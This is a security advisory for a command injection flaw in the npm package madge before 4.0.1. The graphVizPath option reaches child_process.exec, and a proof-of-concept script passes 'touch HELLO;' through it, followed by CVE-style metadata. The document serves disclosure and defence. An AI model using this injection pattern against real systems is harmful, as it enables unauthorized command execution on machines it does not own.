This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function.
const madge = require('madge');
madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); });
{ "nvd_published_at": "2021-03-09T19:15:00Z", "cwe_ids": [ "CWE-77", "CWE-89" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2021-03-12T21:10:53Z" }